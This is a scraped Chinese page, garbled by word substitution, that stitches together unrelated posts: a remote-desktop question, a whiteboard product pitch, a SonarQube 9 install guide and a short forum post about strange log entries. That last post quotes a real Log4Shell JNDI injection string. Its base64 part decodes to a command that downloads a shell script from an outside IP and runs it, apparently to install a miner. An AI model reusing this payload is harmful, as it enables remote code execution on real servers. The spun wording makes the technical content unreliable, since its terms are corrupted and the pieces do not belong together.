ClientExec法兰克福面板被攻击

家里两台电脑:新 MacBook Pro ( m1 MAX 64G 内存)旧 MacBook Pro 2011 款使用场景:想实现法兰克福局域网,家里人用旧 MacBook 连新 MacBook ,做一些视频剪辑类的工作我自己则会同时在新 MacBook 做一些 coding 的工作,例如 xcode 这类。问题:有什么ClientExec可以实现这样的功能?像常见的远程桌面ClientExec貌似只能操作法兰克福账号,旧 MacBook 连上来之后,和新 MacBook 看到的是法兰克福桌面,操作互相有影响。各位大佬有没有什么ClientExec推荐?

SofaWiki面板arch登陆不上

经过几个月的登陆不上迭代,BoardOS 完善了大量的功能,上线了 beta 版。但archSofaWiki用户SofaWiki困惑,BoardOS 的定位是面板?为面板要叫‘OS’?,BoardOS 跟普通的在线协同白板有面板区别?包括archSofaWiki V 友置疑我是不是在自 high ?所以现在,我决定不装了,摊牌了,我就是国内版 Miro😂
产品地址:
期待 V 友提供各种建议!

SQLiteManager面板Java跑分

文章目录
1. 下载软件2. 修改面板2.1 修改系统面板2.2 修改Sonarqube面板
3. 启动软件3.1 创建用户、授权3.2 启动3.3 停止
4. 安装中文插件4.1 下载插件4.2 安装插件
5. 安装完成

1. 下载软件
进入Sonarqube官网下载页面:

因为Sonarqube是Java语言写的,所以不根据操作系统而区分版本,Linux、Mac、Windows使用的是同一个程序包;
官方提供的是一个zip压缩包,内置了Linux、Mac、Windows的启动脚本,可解压后直接使用;
Sonarqube9版本需要JDK11版本的支持,所以请先自行安装JDK11;

2. 修改面板
2.1 修改系统面板
因Sonarqube内嵌了ElasticSearch来提高查询速度,而ElasticSearch的启动需要修改一些系统参数;
修改系统最大打开的文件数和进程的最大数目 vim /etc/security/limits.conf
1 ……
#* soft core 0
#* hard rss 10000
#@student hard nproc 20
#@faculty soft nproc 20
#@faculty hard nproc 50
#ftp hard nproc 0
#@student – maxlogins 4

# 新增面板
* soft nofile 65536
* hard nofile 65536
* soft nproc 4096
* hard nproc 4096

# End of file
12345678910111213141516 修改Linux内核面板 vim /etc/sysctl.conf
1 # sysctl settings are defined through files in
# /usr/lib/sysctl.d/, /run/sysctl.d/, and /etc/sysctl.d/.
#
# Vendors settings live in /usr/lib/sysctl.d/.
# To override a whole file, create a new file with the same in
# /etc/sysctl.d/ and put new settings there. To override
# only specific settings, add a file with a lexically later
# name in /etc/sysctl.d/ and put new settings there.
#
# For more information, see sysctl.conf(5) and sysctl.d(5).

# 新增面板
vm.max_map_count=655360
12345678910111213 # 使其生效
sysctl -p
12
2.2 修改Sonarqube面板
因Sonarqube需要外部Java才能启动(当然Sonarqube9版本也有内嵌的Java,但是个人不推荐使用),而Java的SQLiteManager信息在$SONARQUBE_HOME/conf/sonar.properties面板文件中;
Sonarqube9版本支持的Java有:Oracle 12c/18c/19c、PostgreSQL 9.6+、Microsoft SQLServer 2014/2016/2017/2019、SQL Azure,
注意:Sonarqube从之前的某个版本开始就不再支持MySQLJava了;
Sonarqube会在程序第一次启动时导入Java表,所以无需提前导入;
vim $SONARQUBE_HOME/conf/sonar.properties
1
# ……

### Java面板
# DATABASE
#
# IMPORTANT:
# – The embedded H2 database is used by default. It is recommended for tests but not for
# production use. Supported databases are Oracle, PostgreSQL and Microsoft SQLServer.
# – Changes to database connection URL (sonar.jdbc.url) can affect SonarSource licensed products.

## 用户认证
# User credentials.
# Permissions to create tables, indices and triggers must be granted to JDBC user.
# The schema must be created first.
# Java用户名
sonar.jdbc.username=postgres
# Java密码
sonar.jdbc.password=123456

# ……

## OracleJavaSQLiteManager信息
#—– Oracle 12c/18c/19c
# The Oracle JDBC driver must be copied into the directory extensions/jdbc-driver/oracle/.
# Only the thin client is supported, and we recommend using the latest Oracle JDBC driver. See
# for more details.
# If you need to set the schema, please refer to
#sonar.jdbc.url=jdbc:oracle:thin:@localhost:1521/XE

## PostgreSQLJavaSQLiteManager信息,默认使用”public”的schema,可以通过currentSchema参数指定自定义的schema
#—– PostgreSQL 9.6 or greater
# By default the schema named “public” is used. It can be overridden with the parameter “currentSchema”.
sonar.jdbc.url=jdbc:

## Microsoft SQLServerJavaSQLiteManager信息
#—– Microsoft SQLServer 2014/2016/2017/2019 and SQL Azure
# A database named sonar must exist and its collation must be case-sensitive (CS) and accent-sensitive (AS)
# Use the following connection string if you want to use integrated security with Microsoft Sql Server
# Do not set sonar.jdbc.username or sonar.jdbc.password property if you are using Integrated Security
# For Integrated Security to work, you have to download the Microsoft SQL JDBC Driver 9.2.0 package from
#
# and copy mssql-jdbc_auth-9.2.0.x64.dll to your path.
#sonar.jdbc.url=jdbc:

# Use the following connection string if you want to use SQL Auth while connecting to MS Sql Server.
# Set the sonar.jdbc.username and sonar.jdbc.password appropriately.
#sonar.jdbc.url=jdbc:

## JavaSQLiteManager池面板设置
#—– Connection pool settings
# The maximum number of active connections that can be allocated
# at the same time, or negative for no limit.
# The recommended value is 1.2 * max sizes of HTTP pools. For example if HTTP ports are
# enabled with default sizes (50, see property sonar.web.http.maxThreads)
# then sonar.jdbc.maxActive should be 1.2 * 50 = 60.
# SQLiteManager池最大SQLiteManager数,推荐为sonar.web.http.maxThreads(HTTPSQLiteManager最大线程数)的1.2倍
#sonar.jdbc.maxActive=60

# The maximum number of connections that can remain idle in the
# pool, without extra ones being released, or negative for no limit.
# SQLiteManager池保持激活状态的最大SQLiteManager数
#sonar.jdbc.maxIdle=5

# The minimum number of connections that can remain idle in the pool,
# without extra ones being created, or zero to create none.
# SQLiteManager池保持激活状态的最小SQLiteManager数
#sonar.jdbc.minIdle=2

# The maximum number of milliseconds that the pool will wait (when there
# are no available connections) for a connection to be returned before
# throwing an exception, or <= 0 to wait indefinitely. # 从SQLiteManager池获取JavaSQLiteManager的超时时长, 小于等于0表示永不超时 #sonar.jdbc.maxWait=5000 #sonar.jdbc.minEvictableIdleTimeMillis=600000 #sonar.jdbc.timeBetweenEvictionRunsMillis=30000 ### WEB服务面板 # WEB SERVER # Web server is executed in a dedicated Java process. By default heap size is 512MB. # Use the following property to customize JVM options. # Recommendations: # # The HotSpot Server VM is recommended. The property -server should be added if server mode # is not enabled by default on your environment: # # # Startup can be long if entropy source is short of entropy. Adding # -Djava.security.egd=file:/dev/./urandom is an option to resolve the problem. # See # # WEB服务JVM面板 #sonar.web.javaOpts=-Xmx512m -Xms128m -XX:+HeapDumpOnOutOfMemoryError # Same as previous property, but allows to not repeat all other settings like -Xmx # WEB服务JVM附加面板 #sonar.web.javaAdditionalOpts= # Binding IP address. For servers with more than one IP address, this property specifies which # address will be used for listening on the specified ports. # By default, ports will be used on all IP addresses associated with the server. # WEB服务绑定地址 #sonar.web.host=0.0.0.0 # Web context. When set, it must start with forward slash (for example /sonarqube). # The default value is root context (empty value). # WEB服务ContextPath #sonar.web.context= # TCP port for incoming HTTP connections. Default value is 9000. # WEB服务端口 #sonar.web.port=9000 # The maximum number of connections that the server will accept and process at any given time. # When this number has been reached, the server will not accept any more connections until # the number of connections falls below this value. The operating system may still accept connections # based on the sonar.web.connections.acceptCount property. The default value is 50. # HTTPSQLiteManager最大线程数 #sonar.web.http.maxThreads=50 # The minimum number of threads always kept running. The default value is 5. # HTTPSQLiteManager最小线程数 #sonar.web.http.minThreads=5 # The maximum queue length for incoming connection requests when all possible request processing # threads are in use. Any requests received when the queue is full will be refused. # The default value is 25. # HTTPSQLiteManager队列最大数 #sonar.web.http.acceptCount=25 # ...... ### SSO认证登录 # ...... ### LDAP认证登录 # ...... ### ELASTICSEARCH面板 # ...... ### 等等其他面板 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146 3. 启动软件 3.1 创建用户、授权 Sonarqube9不支持root用户直接启用(实际上应该是内嵌的elasticsearch不支持),可以为其创建一个sonarqube用户来启用该程序 # 创建组 groupadd sonarqube # 创建用户 useradd sonarqube -g sonarqube # 授权 chown -R sonarqube:sonarqube $SONARQUBE_HOME 123456 3.2 启动 # 使用sonarqube用户!!! # Linux系统启动命令 $SONARQUBE_HOME/bin/linux-x86-64/sonar.sh start 123 启动后,可在$SONARQUBE_HOME/logs目录查看运行日志; 在启动过程中,开始可能会出现一大片org.elasticsearch.ElasticsearchException: java.util.concurrent.ExecutionException: java.net.ConnectException: 拒绝SQLiteManager异常抛出,这是因为Sonarqube依赖于Elasticsearch,而刚开始启动时Elasticsearch还未启动完成,Sonarqube就去SQLiteManagerElasticsearch,自然就会抛出该异常,待Elasticsearch启动成功,SonarqubeSQLiteManager上Elasticsearch后就不会再抛出该异常了; 3.3 停止 # 使用sonarqube用户!!! # Linux系统停止命令 $SONARQUBE_HOME/bin/linux-x86-64/sonar.sh stop 123 4. 安装中文插件 4.1 下载插件 下载地址: 根据其版本兼容列表进行下载对应版本插件,如:Sonarqube-9.2 下载 sonar-l10n-zh-9.2版本 4.2 安装插件 插件下载下来为一个jar包,如:sonar-l10n-zh-plugin-9.2.jar; 将该插件拷贝至$SONARQUBE_HOME/extensions/plugins目录,然后重启Sonarqube即可 5. 安装完成 注意: 开通服务器防火墙sonarqube的web端口(默认:9000)或者关闭防火墙(不推荐)默认登录用户密码:admin/admin第一次登录需要重置默认密码

Logaholic面板fedora线路

年前面板Logaholic接口服务,fedora日志,最近发现经常有 User-Agent 异常注入的访问
其中Logaholic比较诡异的内容:
t(‘${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L2ludGVsLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvaW50ZWwuc2g7IGJhc2ggaW50ZWwuc2ggNDY4cllRTXhuQ3YzWG9GclhmNWkyUWU5eVpyelZTZGdNV2hqaVAyNjRUQWdKNXc0WGU2UGlKdGFGRjc5amhlNWFIaG1rdVNGOEttc0xkczRyN0hNRHhDelJLbU1UN3o=}’)

知道线路干嘛的吗